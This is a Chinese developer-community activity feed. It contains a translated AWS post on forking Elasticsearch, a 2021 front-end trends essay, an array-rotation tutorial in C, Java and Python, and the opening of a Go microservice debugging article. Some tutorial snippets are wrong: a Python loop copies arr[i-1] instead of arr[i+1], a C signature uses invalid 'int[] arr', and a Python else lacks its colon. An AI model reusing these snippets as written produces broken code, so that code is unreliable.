鸣飞

鸣飞 查看完整档案

北京编辑  |  填写毕业院校SegmentFault  |  技术编辑 编辑 segmentfault.com/u/mingfeimingfei/articles 编辑
编辑

SF 社区编辑一枚,关注人工智能、云计算、开源和行业的技术动态,欢迎投喂优质资讯!

联系邮箱 pr@sifou.com

大神们关注一下我们的公众号吧,里面也有思否小姐姐的微信号:https://segmentfault.com/a/11...

个人动态

鸣飞 发布了文章 · 今天 14:26

AWS 开源:与社区一起逐步实现真正开源的 Elasticsearch

近日,Elastic 在官网发文称将对 Elasticsearch 和 Kibana 在许可证方面进行了重大的更改,由开源 Apache 2.0 许可证改为采用 Elastic License 和 SSPL(服务器端公共许可证)。

对于 Elastic 的这一决策,AWS 在 AWS 开源博客官方博客发表文章《Stepping up for a truly open source Elasticsearch》 — Elastic 正在破坏开放源代码本身的定义,而 AWS 将加紧创建和维护由开源 Elasticsearch 和 Kibana 获得 Apache 许可 2.0 版(ALv2)许可的分支。

以下为 AWS 开源博客发表的文章全文翻译。


上周,Elastic 宣布他们将改变软件许可策略,将不再以 Apache License 2.0 版本(ALv2)发布 Elasticsearch 和Kibana 的新版本。取而代之的是,新版本的软件将在 Elastic License(限制了软件的使用方式)或 Server Side Public License(有一些限制让很多开源社区无法接受)下提供。这意味着 Elasticsearch 和 Kibana 将不再是开源软件。为了确保这两个软件包的开源版本仍然可用并得到很好的支持,包括在我们自己的产品中,我们今天宣布 AWS 将出面创建并维护一个 ALv2 授权的开源 Elasticsearch 和 Kibana 的分叉。

这对 Elasticsearch 社区的 Open Distro 意味着什么?

我们在 2019 年推出了 Open Distro for Elasticsearch,为客户和开发人员提供功能齐全的 Elasticsearch 发行版,提供ALv2授权软件的所有自由。Open Distro for Elasticsearch 是一个 100% 开源的发行版,它提供了几乎每个 Elasticsearch 用户或开发者都需要的功能,包括支持网络加密和访问控制。在构建 Open Distro 的过程中,我们遵循了 "上游先行 "的推荐开源开发实践。所有对Elasticsearch 的改动都以上游 pull requests 的形式发送(#42066, #42658, #43284, #43839, #53643, #57271, #59563, #61400, #64513),然后我们将 Elastic 提供的 "oss "构建包含在我们的发行版中。这确保了我们与上游开发者和维护者合作,而不是创建一个软件的 "fork"。

选择分叉一个项目并不是一个轻率的决定,但是当一个社区的需求出现分歧时,这可能是一条正确的前进道路--就像这里的情况一样。开源软件的一个重要好处是,当这样的事情发生时,如果开发者有足够的动力,他们已经拥有了所有需要的权利,可以自己接手工作。这里有很多成功的案例,比如 Grafana 就是从 Kibana 3 的分叉中产生的。

当AWS决定提供一个基于开源项目的服务时,我们确保我们有能力并准备好在必要时自己维护它。AWS 带来了多年与这些代码库合作的经验,同时也为 Elasticsearch 和 Apache Lucene(Elasticsearch构建的核心搜索库)做出了上游代码贡献--仅 2020 年就有超过 230 个Lucene 贡献。

我们对 Elasticsearch 和 Kibana 的分叉将基于最新的 ALv2 授权代码库,7.10 版本。我们将在未来几周内发布新的 GitHub 仓库。随着时间的推移,这两个版本将被包含在现有的 Open Distro 发行版中,取代 Elastic 提供的 ALv2 构建。我们将长期参与其中,并将以促进健康和可持续的开源实践的方式开展工作--包括实现与贡献者社区共享项目治理。

这对亚马逊 Elasticsearch 服务客户意味着什么?

您可以放心,无论是 Elastic 的许可证变更,还是我们分叉的决定,都不会对您目前享受的 Amazon Elasticsearch 服务(Amazon ES)产生任何负面影响。今天,我们在 Amazon ES 上提供了 18 个版本的Elasticsearch,这些版本都不会受到许可证变更的影响。

未来,Amazon ES 将由 Elasticsearch 和 Kibana 的新分叉提供支持。我们将继续提供新功能、修复和增强功能。我们致力于提供兼容性,以消除您更新客户端或应用程序代码的需要。就像我们今天所做的那样,我们将为您提供一个无缝的升级路径到新版本的软件。

这一变化不会减缓我们为客户提供的增强速度。如果有的话,一个社区拥有的 Elasticsearch 代码库为我们提供了新的机会,使我们在提高稳定性、可扩展性、弹性和性能方面的进展更快。

这对开源社区意味着什么?

开发者出于许多原因而接受开放源码软件,其中最重要的原因可能是可以自由地在他们希望的地方和方式使用该软件。

自 1998 年 "开源 "一词被提出以来,它就有了特定的含义。Elastic 关于 SSPL 是 "自由开放 "的说法是误导和错误的。他们试图宣称开源的好处,同时又在削去开源本身的定义。他们对 SSPL 的选择掩盖了这一点。SSPL 是一个非开源许可证,它的设计看起来像一个开源许可证,模糊了两者之间的界限。正如 Fedora 社区所说的那样,"[将 SSPL 视为'自由'或'开源'会导致[一个]阴影笼罩在 FOSS 生态系统的所有其他许可证上。"

2018 年 4 月,当 Elastic 将他们的专有授权软件与 ALv2 代码共同混合时,他们在 "We Opened X-Pack "中承诺。"我们没有改变Elasticsearch、Kibana、Beats 和 Logstash 的任何 Apache 2.0 代码的授权--我们永远不会改变。" 上周,在违背了这一承诺之后,Elastic 更新了同一页面,并在脚注中写道:"情况有变"。

Elastic 知道他们做的事情很蹊跷。社区已经告诉他们这一点(例如,见BrasseurQuinnDeVaultJacob)。这也是为什么他们觉得有必要写一个额外的虚张声势的博客(在他们最初的许可证更改博客之上),试图将他们的行为解释为 "AWS 让我们这么做"。大多数人并没有被愚弄。我们没有让他们做任何事情。他们认为,限制他们的许可证将锁定其他人提供托管 Elasticsearch 服务,这将让 Elastic 建立更大的业务。当然 Elastic 有权改变他们的许可证,拥有自己的决定。

同时,我们对我们与 Open Distro for Elasticsearch 一起踏上的长期旅程感到兴奋。我们期待着为 Elasticsearch 和 Kibana 提供一个使用 ALv2 许可证的真正的开源选择,并与社区一起建设和支持这个未来。

image.png

查看原文

赞 4 收藏 0 评论 0

鸣飞 赞了文章 · 1月4日

从2020看2021前端发展趋势

image

前言

图片

又到了年底,想简单谈谈这一年前端的发展,以及21年可能会出现的一些趋势。毋庸置疑,2020年确实是不平凡的一年,对前端来说,私以为可以用“大前端持续深耕,泛前端兼容并包”这十四个字来形容。这里需要明确一下我对“大前端”以及“泛前端”这两个概念的理解:首先大前端可以分为广义的“大前端”和狭义的“大前端”,市面上常说的大前端主要分为这两类,所谓广义的“大前端”是指以前端技术解决所有本属于其他领域问题的前端技术,这里其实是包含了后边所说的泛前端的概念,也就是说只要是使用前端技术去解决的都可以定义为“大前端”;而狭义的“大前端”是仅指垂直到后端领域的前端技术,其代表是以node.js为主的扩展的去解决后端领域的技术,如出现了诸如express、koa、egg、nest等等配套的后端技术框架,甚至出现了node的微服务框架,我这里不做说明仅指狭义的“大前端”概念。对于“泛前端”,这个概念没有歧义,通常指的都是跨端技术,比如客户端、桌面端,甚至HUB等等,上图中所示的仅仅指一部分框架,并未收录完全,毕竟js/ts的社区实在太太太太活跃了,下面简单分说一下“大前端”和“泛前端”个人的一些见解,是以前端三大框架Vue、React、Angular为核心进行横向和纵向的框架探讨

泛前端技术框架探讨

VueReactAngular
web端Vue全家桶React全家桶Angular全家桶
桌面端Electron/NwElectron/NwElectron/Nw/Cordova/Ionic
原生移动端WeexReact NativeCordova/Ionic
小程序端uniapp/mpvue/mapxtaro/Rax

大前端技术框架探讨

VueReactAngular
web端Vue全家桶React全家桶Angular全家桶
SSRNuxtNextUniversal
服务端无特定无特定可配合Nest

今年阿里前端练习生计划将前端领域划分了七大方向,分别是工程化方向、前端中后台方向、Node.js方向、跨端技术方向、互动技术方向、可视化技术方向、前端智能化方向,个人认为Node.js是一个整体的前端基础,并不能单算做一个方向,因而我将其替换为音视频方向,私以为可将前端方向划分为以下几种,下面我将在这几个不同的方向维度进行个人的一些阐述和拙见:

  • 中后台方向:微前端
  • 可视化方向:antv
  • 智能化方向:imgcook
  • 互动方向:Eva
  • 音视频方向:wasm
  • 工程化方向:severless、全链路工程
  • 跨端方向:kbone、rax

中后台方向

  1. 对于中后台方向,这是传统web方向,对于前端来说,2020年对于微前端的落地应用已有很多实践。因此,私以为微前端会作为未来前端大型应用的一种趋势,对于不同团队的不同技术栈的汇总整合是一个比较好的方案,虽然不同于服务端的那种微服务可以微的很彻底,但是前端加持着ts等的特性也是可以实现微化的效果,从而优化工时,提升效率,避免重复劳作;
  2. 既然第一点提到了ts,那这里我想说一说关于ts的问题,在19年我对ts的态度尚存观望,但在今年,我认为ts可以作为一种必备技能来考察和实践,并不是因为大家都在用,而是因为随着时间的发展,现在前端要承载的能力越来越重,项目也越来越大,ts可以很好的约定,对于后期的维护以及修改都可以很好的限制,对于大型团队、大型项目来说,ts是不二之选;另外,如果有团队真的要去开发服务端,那我真的建议你去用ts,如果你用过nest.js,你会发现和写java真的没什么区别,而且服务端的很多理念也可以通过ts的各种特性来使用,比如泛型、抽象类等。当然,如果是小团队,而且需要快速开发,对于小而美的应用,个人认为还是js适合,毕竟js是一门灵活的语言,哈哈哈

可视化方向

  1. 可视化这里,今年其实没有做多少实践,但是个人认为,这七个大方向而言,最容易出成果,或者说最能出大佬的,可能还真是可视化领域,如果能在可视化领域做到了前5%,那么我相信各大厂肯定会花钱养着你,毕竟我拥有你不一定重要,但是对手不拥有你对我很重要,你的技术壁垒就呈现了出来,也就在这个内卷的江湖获得了一些领先和优势,最起码裁员的优先级也不会那么靠前,哈哈哈
  2. 第一点说的有点儿远,说说实在的,个人觉得可以将阿里的antv作为可视化领域的一个标杆,针对各种特定领域进行展开,比如gis等,当然,其实可视化领域研究的深的话还是挺冷门的,这其实也会有一些机会,webGL/webAR/webVR等等都可以作为切入点,配合着下面的音视频领域,这两个的相互结合,确实还是能做出些东西的

智能化方向

  1. 智能化领域,个人认为其实核心不在于前端,而在于人工智能,而人工智能领域就不仅仅前端那么些东西了,对于封装好的如TensorFlow.js,我们是直接拿来用的,但是对于领面的模型建立其实才是关键,如果有同学想在智能化领域有所发展,个人建议还是要深钻一下,最好可以深造一下,毕竟这个东西是真的需要学术研究+产业实践的
  2. 在产业实践的前端领域,阿里还是比较领先的,比如imgcook,其核心目的是将图片转成前端代码,利用的机器视觉去识别图片中的不同的位置信息等,将其转成前端的代码,也就是所谓的D2C,即:Design to Code,今年的D2大会上又提出了P2C,即:Product to Code,但并不是真的将人类语言直接转换成code,而是对D2C的一个业务扩展,对于D2C某些业务代码利用一些特定的schema进行约定,让机器学习过程中多一些参数约束,从而提升代码实现度。虽然转化的代码还很冗余,但是对于一些初级的项目或页面,确实可以交给机器去实现,个人认为人工智能对低端重复的工作确实会进行替代,也算是对前端内卷做了一定的贡献,摊手...

互动方向

  1. 互动方向,目前大头还是在游戏方向,但是我还是认为页游或前端实现游戏主要还是做一些开胃菜的功能,并不能真正的将用户带进沉浸式的体验,对于小游戏引擎,今年阿里好像出了一个eva的引擎,感兴趣的同学可以看看
  2. 对于新体验方面,AR/VR/MR等可能在明年5g深化的时候会有一些落地实践,但可能还是不温不火,互动方向配合设计的新理念可能会是一个新的突破点

音视频方向

  1. 这里想说一说WebAssembly,虽然都说wasm是会替代掉js,但目前看应该还不太现实,wasm目前主要还是配合音视频领域多一些,另外就是一些额外的优化措施,配合rust进行优化等,如果有志于音视频领域有所建树的同学,wasm确实可以储备起来
  2. webrtc是音视频领域一个绕不开的技术,另外就是播放器的实现,video.js、flv.js等,对于一些视频播放的协议也要了解,如rtmp/rtsp等,今年疫情的关系,带动着直播领域的火热,前端音视频方向说不定会是一个风口

工程化方向

  1. 工程化方向就不得不提serverless,这是今年前端最火热的一个话题了,私以为serverless不仅仅是前端领域的变化,它可能改变目前的开发模式,以后没有前后端之分(ps:目前确实是有合的趋势),只有云工程师和端工程师之分,那么对于目前的前端来说,我们就不能仅仅只关注前端领域的一些内容了,docker、k8s等属于传统后端或运维的部分,我们也需要掌握,对于一些后端的思维及名词也需要熟悉,如限流、削峰、服务降级等。当然serverless的前提其实是云原生,如果没有云化,那实现serverless的效果应该不如目前这样,当然个人认为这是一个必然的趋势,从今年的云栖大会以及运营商5g云化来看,云网融合、云边协同应该会是主流
  2. 前端工程化另外一个方向就是全链路的工程化,从脚手架、low code、插件市场等全链路的提供,简化前端开发门槛,这里可以参考淘系的飞冰,对low code以及ide的插件提供都有涉及,以及ui组件库的提供等等,形成一个全链路的前端生态。这里可以说说low code和no code,no code是一个无需任何编码的现成的工具,就是完全没有编程的入口;low code是一个需要部分编码的工具,为了是给一些非专业人士但又有编程需要的人员使用,强调开发出来给别人用,常见的比如给运营人员用的h5编辑器,如易企秀、maka、ih5等

跨端方向

  1. 跨端方向是一个老生常谈的问题,主流还是要write once,run anywhere,常见的无非就是利用各种框架将各个DSL进行来回转换,但其实这是一个伪命题,本质是不可能达到大一统的局面的,抽象就很难具象,这两者需要有一个平衡,需要对具体常见具体分析
  2. 私以为小程序领域是端方向下一个各家大佬追逐的市场,因为app领域的跑马圈地都已基本形成,现在再去开发出一个现象级的app几乎很难很难了,但是将app作为操作系统,以小程序去带动用户,形成用户闭环,还是有很大市场的,类小程序应用,如pwa、快应用等都是这种承载方式的不同展现,对跨端来说,这个不失为一种发展选择。对于小程序的框架也出现了kbone、rax等,可能也会有一个类似w3c这样的一个小程序标准,但是像微信这种巨无霸应用,是否真的会遵守就是另一回事了,总之,其实也不失为一个选择

总结

回望2020,展望2021,总结如下:

  1. 大前端持续深耕,泛前端兼容并包
  2. 中后台微服务化,可视化行业细化
  3. 智能侧算法深化,互娱侧形态变化
  4. 音视频结构优化,工程侧全面转化
  5. 跨端侧具体改化,前端更加内卷化

好了,2021到了,愿大家在这个内卷的时代,都有自己的一技之长,形成自己的核心竞争力,升职加薪,再创辉煌,共勉!!!

查看原文

赞 44 收藏 26 评论 6

鸣飞 赞了文章 · 1月4日

图解:什么是旋转数组(Rotate Array)?

旋转数组

一文横扫数组基础知识

旋转数组分为左旋转和右旋转两类,力扣 189 题为右旋转的情况,今日分享的为左旋转。

给定一个数组,将数组中的元素向左旋转 k 个位置,其中 k 是非负数。

file

<p align='center'>图 0-1 数组 arr 左旋转 k=2 个位置</p>

原数组为 arr[] = [1,2,3,4,5,6,7] ,将其向左旋转 2 个元素的位置,得到数组 arr[] = [3,4,5,6,7,1,2]

推荐大家去做一下力扣 189 题右旋转数组的题目。

方法一(临时数组)

该方法最为简单和直观,例如,对数组 arr[] = [1,2,3,4,5,6,7]k = 2 的情况,就是将数组中的前 k 个元素移动到数组的末尾,那么我们只需利用一个临时的数组 temp[] 将前 k 个元素保存起来 temp[] = [1,2] ,然后将数组中其余元素向左移动 2 个位置 arr[] = [3,4,5,6,7,6,7] ,最后再将临时数组 temp 中的元素存回原数组,即得到旋转后的数组 arr[] = [3,4,5,6,7,1,2] ,如图 1-1 所示。

file

<p align='center'>图 1-1 临时数组法</p>

PS:编写代码时注意下标的边界条件。

void rotationArray(int* arr, int k, int n) {
    int temp[k];    // 临时数组
    int i,j;
    // 1. 保存数组 arr 中的前 k 个元素到临时数组 temp 中
    for( i = 0;i < k;i++) {
        temp[i] = arr[i];
    }
    // 2. 将数组中的其余元素向前移动k个位置
    for( i = 0;i < n-k; i++) {
        arr[i] = arr[i+k];
    }
    // 3. 将临时数组中的元素存入原数组
    for( j = 0; j < k; j++) {
        arr[i++] = temp[j];
    }
} 

复杂度分析

  • 时间复杂度:$O(n)$ ,n 表示数组的长度。
  • 空间复杂度:$\Theta(k)$ ,k 表示左旋的的位置数。

方法二(按部就班移动法)

按部就班就是按照左旋转的定义一步一步地移动。

对于第一次旋转,将 arr[0] 保存到一个临时变量 temp 中,然后将 arr[1] 中的元素移动到 arr[0]arr[2] 移动到 arr[1] 中,...,以此类推,最后将 temp 存入 arr[n-1] 当中。

同样以数组 arr[] = {1,2,3,4,5,6,7} , k = 2 为例,我们将数组旋转了 2 次

第一次旋转后得到的数组为 arr[] = {2,3,4,5,6,7,1}

第二次旋转后得到的数组为 arr[] = {3,4,5,6,7,1,2}

具体步骤如图 2-1 所示。

file

<p align='center'>图 2-1 按部就班左旋法</p>

实现代码

C 语言实现

// c 语言实现,学习算法重要的是思想,实现要求的是基础语法
#include<stdio.h>
void leftRotate(int[] arr, int k, int n)
{
    int i;
    for (i = 0; i < k; i++) {
        leftRotateByOne(arr, n);
    }
}

void leftRotateByOne(int[] arr, int n) 
{
    int temp = arr[0], i;
    for (i = 0; i < n-1; i++) {
        arr[i] = arr[i+1];
    }
    arr[n-1] = temp;
}

void printArray(int arr[], int n) 
{ 
    int i; 
    for (i = 0; i < n; i++)
    {
        printf("%d ", arr[i]);         
    }
}

int main()
{
    int arr[] = {1,2,3,4,5,6,7};
    leftRotate(arr, 2, 7);
    printArray(arr, 7);
    return 0;
}

Java 实现:

class RotateArray {
    void leftRotate(int arr[], int k, int n) {
        for (int i = 0; i < k; i++) {
            leftRotateByOne(arr, n);
        }
    }
    
    void leftRotateByOne(int arr[], int n) {
        int temp = arr[0];
        for (int i = 0; i < n-1; i++){
            arr[i] = arr[i+1];
        }
        arr[n-1] = temp;
    }
}

Python 实现:

def leftRotate(arr, k, n):
    for i in range(k):
        leftRotateByOne(arr, n)
        
def leftRotateByOne(arr, n):
    temp = arr[0];
    for i in range(n-1):
        arr[i] = arr[i-1]
    arr[n-1] = temp

算法重要的不是实现,而是思想,但没有实现也万万不能。

复杂度分析

  • 时间复杂度:$O(kn)$
  • 空间复杂度:$\Theta(1)$

方法三(最大公约数法)

此方法是对方法二的扩展,方法二是一步一步地移动元素,此方法则是按照 n 和 k 的最大公约数移动元素。

比如,arr[] = {1,2,3,4,5,6,7,8,9,10,11,12} ,k = 3,n = 12 。

计算 gcd(3,12) = 3 ,只需要移动 3 轮就能够得到数组中的元素向左旋转 k 个位置的结果。

第 1 轮:i = 0temp = arr[i]= arr[0] = 1 ,移动 arr[j + k]arr[j] ,注意 0 <= j+k < ni 表示移动轮数的计数器,j 表示数组下标,如图 3-1 所示。

file

<p align='center'>图 3-1 最大公约数法--第 1 轮</p>

第 2 轮:i = 1temp = arr[1] = 2 ,移动 arr[j + 3]arr[j] , 其中 1 <= j <= 7 。如图 3-2 所示。

file

<p align='center'>图 3-2 最大公约数法--第 2 轮</p>

第 3 轮:i = 2 , temp = arr[2] = 3 ,移动 arr[j + 3]arr[j] , 其中 2 <= j <= 8 如图 3-3 所示。

file

<p align='center'>图 3-3 最大公约数法--第 3 轮</p>

实现代码

C 语言

#include <stdio.h>
// 计算 k 和 n 的最大公约数 gcd
int gcd(int a, int b){
    if(b == 0){
        return a;
    }
    else{
        return gcd(b, a % b);
    }
}

void leftRotate(int arr[], int k, int n){
    int i,j,s,temp;
    k = k % n; // 可以减少不必要的移动
    int g_c_d = gcd(k, n); // 控制外层循环的执行次数
    for(i = 0; i < g_c_d; i++){
        temp = arr[i]; // 1.将 arr[i] 保存至 temp
        j = i;
        // 2. 移动 arr[j+k] 到 arr[j]
        while(1){
            s = j + k; // 考虑将arr[j+k] 的元素移动到 arr[j]
            if (s >= n) // 排除 j+k >= n 的情况,j+k < n
                s = s - n; 
            if (s == i) 
                break; 
            arr[j] = arr[s]; 
            j = s; 
        }
        arr[j] = temp; // 3.将 temp 保存至 arr[j]
    }
}

int main() 
{ 
    int arr[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 }; 
    int i;
    leftRotate(arr, 3, 12); 
    for(i = 0; i < 12; i++){
        printf("%d ", arr[i]);
    }
    getchar(); 
    return 0; 
} 

while 循环里面处理的就是将 arr[j+k] 移动到 arr[j] 的过程,比如第 1 轮移动中,s 的变化如图 3-4 所示,注意当 s = j + k 越界时的处理,与数组下标的边边界值 n 进行比较,当 s >= n 时,下标越界,则 s = s - n ,继而判断 s == i ,如果相等则退出 while 循环,一轮移动结束:

file

<p align='center'>图 3-4 一轮旋转数组下标的变化</p>

自愿练习:尝试自己模拟 n = 12, k = 8 的情况 (练习后点击下方的空白区域可查看参考答案)。

file

Java 实现代码

class RotateArray {
    // 将数组 arr 向左旋转 k 个位置
    void leftRotate(int arr[], int k, int n) {
        // 处理 k >= n 的情况,比如 k = 13, n = 12
        k = k % n;
        int i, j, s, temp; // s = j + k;
        int gcd = gcd(k, n);
        for (i = 0; i < gcd; i++) {
            // 第 i 轮移动元素
            temp = arr[i];
            j = i;
            while (true) {
                s = j + k;
                if (s >= n) {
                    s = s - n;
                }
                if (s == i) {
                    break;
                }
                arr[j] = arr[s];
                j = s;
            }
            arr[j] = temp;
        }
    }

    int gcd(int a, int b) {
        if(b == 0) {
            return a;
        }
        else{
            return gcd(b, a % b);
        }

    }

    public static void main(String[] args) {
        int arr[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12};
        RotateArray ra = new RotateArray();
        ra.leftRotate(arr, 8, 12);
        for (int i = 0; i < arr.length; i++) {
            System.out.print(arr[i] + " ");
        }
    }
} 

Python 实现

def leftRotate(arr, k, n):
    k = k % n
    g_c_d = gcd(k, n)
    for i in range(g_c_d):
        temp = arr[i]
        j = i
        while 1:
            s = j + k
            if s >= n:
                s = s - n
            if s == i:
                break
            arr[j] = arr[s]
            j = s
        arr[j] = temp

def gcd(a, b):
    if b == 0:
        return a
    else
        return gcd(b, a % b)

arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
n = len(arr)
leftRotate(arr, 3, n)
for i in range(n):
    print ("%d" % arr[i], end = " ")

复杂度分析

  • 时间复杂度:$O(n)$
  • 空间复杂度:$\Theta(1)$

方法四(块交换法)

数组 arr[] = [1,2,3,4,5,6,7] ,其中 k = 2n = 7

设数组 arr[0,...,n-1] 包含两块 A = arr[0,...,d-1]B = arr[d,...,n-1] ,那么将数组 arr 左旋 2 个位置后的结果 arr[] = [3,4,5,6,7,1,2] 就相当于将 AB 进行交换,如图 4-1 所示。

<p align='center'>图 4-1 块交换法</p>

第一步:判断 AB 的大小, A 的长度比 B 小,则将 B 分割成 BlBr 两部分,其中 Br 的长度等于 A 的长度。交换 ABr ,即原数组 ABlBr 变成了 BrBlA 。此时 A 已经放到了正确的位置,然后递归的处理 B 的部分,如图 4-2 所示。

file

<p align='center'>图 4-2 块交换法(ABlBr --> BrBlA)</p>

第二步:递归处理 B 部分,此时图 4-2 中的 Br 就是新的 ABl 就是新的 B ,判断 AB 的大小,处理与第一步类似,如图 4-3 所示:

file

<p align='center'>图 4-3 块交换法(递归处理 B 部分)</p>

第三步:递归处理 B 部分,图 4-3 中的 Br 就是新的 ABl 就是新的 B ,判断 AB 的大小, A 的长度比 B 大,将 A 分割成 AlAr 两部分,其中 Al 的长度等于 B 的长度。交换 AlB ,则 AlArB 变成了 BArAl ,此时 B 已经回到正确的位置了;递归处理 A ,如图 4-4 所示。

file

<p align='center'>图 4-4 块交换法(第 3 步)</p>

第四步:递归处理 A ,图 4-4 中的 Al 就是新的 BAr 就是新的 A ,此时 A 的长度等于 B 的长度,直接交换 AB 即可,如图 4-5 所示。

file

<p align='center'>图 4-5 块交换法(递归处理 A 部分)</p>

实现代码

递归实现

C 语言递归实现

#include <stdio.h>
// 进行块交换,la就相当于块A的第一个元素,lb相当于块B的第一个元素
void swap(int arr[], int la, int lb, int d) {
    int i, temp;
    for(i = 0; i < d; i++) {
        temp = arr[la+i];
        arr[la+i] = arr[lb+i];
        arr[lb+i] = temp;
    }
}

void leftRotate(int arr[], int k, int n) {
    if(k == 0 || k == n)
        return;
    // A 和 B 的长度相等,则交换直接交换A,B
    if(n-k == k)
    {
        swap(arr, 0, n-k, k);
        return;
    }
    // A 的长度小于 B, 则将B 分割成 Bl 和 Br, ABlBr --> BrBlA
    if(k < n-k)
    {
        swap(arr, 0, n-k, k);
        leftRotate(arr, k, n-k);
    }
    else // A 的长度大于 B, 则将 A 分割为 Al 和 Ar, AlArB --> BArAl
    {
        swap(arr, 0, k, n-k);
        leftRotate(arr+n-k, 2*k-n, k);
    }
}

void printArray(int arr[], int size)
{
    int i;
    for(i = 0; i < size; i++)
        printf("%d ", arr[i]);
    printf("\n ");
} 

int main()
{
   int arr[] = {1, 2, 3, 4, 5, 6, 7};
   leftRotate(arr, 2, 7);
   printArray(arr, 7);
   getchar();
   return 0;
}

注意:arr+n-k 表示的是一个地址值,表示 Ar 第一个元素的位置。其中数组名 arr 表示数组中第一个元素的首地址。

Java 递归实现代码

import java.util.*;

class BockSwap
{
    // 对递归调用进行包装
    public static void leftRotate(int arr[], int k, int n)
    {
        leftRotateRec(arr, 0, k, n);
    }

    public static void leftRotateRec(int arr[], int i, int k, int n)
    {
        // 如果被旋转的个数为 0 或者 n,则直接退出,无需旋转
        if(k == 0 || k == n)
            return; 
         
        // A == B 的情况,swap(A,B)
        if(n - k == k)
        {
            swap(arr, i, n - k + i, k);
            return;
        }

        // A < B,swap(A,Br), ABlBr --> BrBlA
        if(k < n - k)
        {
            swap(arr, i, n - k + i, k);
            leftRotateRec(arr, i, k, n - k);
        }
        else // A > B , swap(Al, B), AlArB-->BArAl
        {
            swap(arr, i, k, n - k);
            leftRotateRec(arr, n - k + i, 2 * k - n, k);
        }
    }

    // 打印
    public static void printArray(int arr[])
    {
        for(int i = 0; i < arr.length; i++)
            System.out.print(arr[i] + " ");
        System.out.println();
    }

    // 块交换
    public static void swap(int arr[], int la, int lb, int d)
    {
        int i, temp;
        for(i = 0; i < d; i++) {
            temp = arr[la+i];
            arr[la+i] = arr[lb+i];
            arr[lb+i] = temp;
        }
    }

    public static void main (String[] args)
    {
        int arr[] = {1, 2, 3, 4, 5, 6, 7};
        leftRotate(arr, 2, 7);
        printArray(arr);
    }
}

Python 递归代码实现

def leftRotate(arr, k, n):
    leftRotateRec(arr, 0, k, n);
 
def leftRotateRec(arr, i, k, n):
    
    if (k == 0 or k == n):
        return;

    if (n - k == k):
        swap(arr, i, n - k + i, k);
        return;
 
    if (k < n - k):
        swap(arr, i, n - k + i, k);
        leftRotateRec(arr, i, k, n - k);
    else:
        swap(arr, i, k, n - k);
        leftRotateRec(arr, n - k + i, 2 * k - n, k); 
 

def printArray(arr, size):
    for i in range(size):
        print(arr[i], end = " ");
    print();
 
def swap(arr, la, lb, d):
    for i in range(d):
        temp = arr[la + i];
        arr[la + i] = arr[lb + i];
        arr[lb + i] = temp;
 
if __name__ == '__main__':
    arr = [1, 2, 3, 4, 5, 6, 7];
    leftRotate(arr, 2, 7);
    printArray(arr, 7);

迭代实现

C 语言迭代实现代码:

void leftRotate(int arr[], int k, int n) {
    int i, j;
    if( k == 0 || k == n ) {
        return;
    }
    
    i = k;
    j = n - k;
    while (i != j) {
        if(i < j) // A < B
        {
            swap(arr, k-i, j-i+k, i);
            j -= i;
        }
        else {
            swap(arr, k-i, k, j);
            i -= j;
        }
    }
    swap(arr, k-i, k, i);
}

Java 语言迭代实现代码:

public static void leftRotate(int arr[], int d, int n) {
    int i, j;
    if (d == 0 || d == n)
        return;
    i = d;
    j = n - d;
    while (i != j) {
        if (i < j) {
            swap(arr, d - i, d + j - i, i);
            j -= i;
        } else {
            swap(arr, d - i, d, j);
            i -= j;
        }
    }
    swap(arr, d - i, d, i);
}

Python 迭代实现代码:

def leftRotate(arr, k, n): 
    if(k == 0 or k == n): 
        return; 
    i = k 
    j = n - k 
    while (i != j): 
         
        if(i < j): # A < B 
            swap(arr, k - i, k + j - i, i) 
            j -= i 
         
        else: # A > B
            swap(arr, k - i, k, j) 
            i -= j 
     
    swap(arr, k - i, k, i) # A == B

复杂度分析

  • 时间复杂度:$O(n)$
  • 空间复杂度:$\Theta(1)$

方法五(反转法)

file

反转法也可当作逆推法,已知原数组为 arr[] = [1,2,3,4,5,6,7] ,左旋 2 个位置之后的数组为 [3,4,5,6,7,1,2] ,那么有没有什么方法由旋转后的数组得到原数组呢?

首先将 [3,4,5,6,7,1,2] 反转,如图 5-4 所示:

file

<p align='center'>图 5-1 reverse(arr, 0, n)</p>

然后将 [2,1] 反转过来,将 [7,6,5,4,3] 反转过来,得到如图 5-2 所示的结果:

file

<p align='center'>图 5-2 reverse(arr, 0, k),reverse(arr,k,n)</p>

数组左旋 k 个位置的算法如下,图 5-3 所示:

leftRotate(arr[], k, n)
    reverse(arr[], 0, k);
    reverse(arr[], k, n);
    reverse(arr[], 0, n);

file

<p align='center'>图 5-3 反转法(三步走)</p>

实现代码

#include <stdio.h> 
void printArray(int arr[], int size); 
void reverseArray(int arr[], int start, int end); 
  
// 将数组左旋 k 个位置
void leftRotate(int arr[], int k, int n) 
{ 
  
    if (k == 0 || k == n) 
        return; 
    // 防止旋转参数 k 大于数组长度
    k = k % n; 
  
    reverseArray(arr, 0, k - 1); 
    reverseArray(arr, k, n - 1); 
    reverseArray(arr, 0, n - 1); 
} 
  
// 打印输出
void printArray(int arr[], int size) 
{ 
    int i; 
    for (i = 0; i < size; i++) 
        printf("%d ", arr[i]); 
} 
  
// 反转数组
void reverseArray(int arr[], int start, int end) 
{ 
    int temp; 
    while (start < end) { 
        temp = arr[start]; 
        arr[start] = arr[end]; 
        arr[end] = temp; 
        start++; 
        end--; 
    } 
} 
  
// 主函数
int main() 
{ 
    int arr[] = { 1, 2, 3, 4, 5, 6, 7 }; 
    int n = sizeof(arr) / sizeof(arr[0]); 
    int k = 2; 
  
    leftRotate(arr, k, n); 
    printArray(arr, n); 
    return 0; 
}

复杂度分析

  • 时间复杂度:$O(n)$
  • 空间复杂度:$\Theta(1)$

算法就是解决问题的方法,而解决问题的方式有很多种,适合自己的才是最好的。学好算法,慢慢地大家就会发现自己处理问题的方式变了,变得更高效和完善啦!

2021 年,牛气冲天!别忘了去 leetcode 刷 189 题呀!

file

本文来自程序员景禹的公众号:景禹的历史文章
查看原文

赞 6 收藏 3 评论 0

鸣飞 赞了文章 · 1月4日

Golang之微服务为什么发现不了

李乐

问题引入

  2020-12-25日晚,突然接收到少量错误日志报警『failed to dial server: dial tcp xxxx:yy: i/o timeout』。原来是微服务客户端请求服务端,连接失败。

  简单介绍下服务现状:我们的服务部署在k8s环境,微服务框架我们使用的是smallnest/rpcx,注册中心基于zookeeper,链路如下图所示:
image

